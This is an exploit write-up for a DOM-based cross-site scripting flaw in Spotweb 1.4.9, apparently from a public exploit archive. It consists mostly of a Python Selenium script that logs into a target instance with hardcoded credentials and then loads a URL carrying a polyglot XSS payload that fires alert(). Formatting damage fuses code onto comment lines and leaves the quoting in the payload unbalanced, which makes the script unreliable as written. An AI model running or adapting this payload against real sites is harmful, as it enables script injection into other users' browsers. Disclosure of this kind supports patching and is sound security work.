# Exploit Title: Spotweb 1.4.9 - DOM Based Cross-Site Scripting (XSS) # Exploit Author: @nu11secur1ty# Date: 05.20.2021# Software Link: https://github.com/spotweb/spotweb# Proof: https://streamable.com/hix5o1[+] Exploit Source:
#!/usr/bin/python3# Author: @nu11secur1tyfrom selenium import webdriver
import time
import os, sys
# Vendor: https://www.nzbserver.com/# Jump over login form :D
website_link="http://192.168.1.160/spotweb-develop/?page=login&data[htmlheaderssent]=true"# enter your login username
username="nu11secur1ty"# enter your login password
password="password"#enter the element for username input field
element_for_username="loginform[username]"#enter the element for password input field
element_for_password="loginform[password]"#enter the element for submit button
element_for_submit="loginform[submitlogin]"#browser = webdriver.Safari() #for macOS users[for others use chrome vis chromedriver]
browser = webdriver.Chrome()#uncomment this line,for chrome users#browser = webdriver.Firefox() #uncomment this line,for chrome users
time.sleep(3)
browser.get((website_link))try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element= browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()# Exploit Cross Site Scripting (DOM Based)# Payload: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
time.sleep(1)# Payload link "esc-rule"
browser.get(("http://192.168.1.160/spotweb-develop#jaVasCript:/*-/*`/*\`/*'/*"'/**/(/**/oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'""))
print("The payload is deployed DOM is BOMing you ':))'...\n")
os.system('pause')
browser.close()
except Exception:
#### This exception occurs if the element are not found in the webpage.
print("DOM...")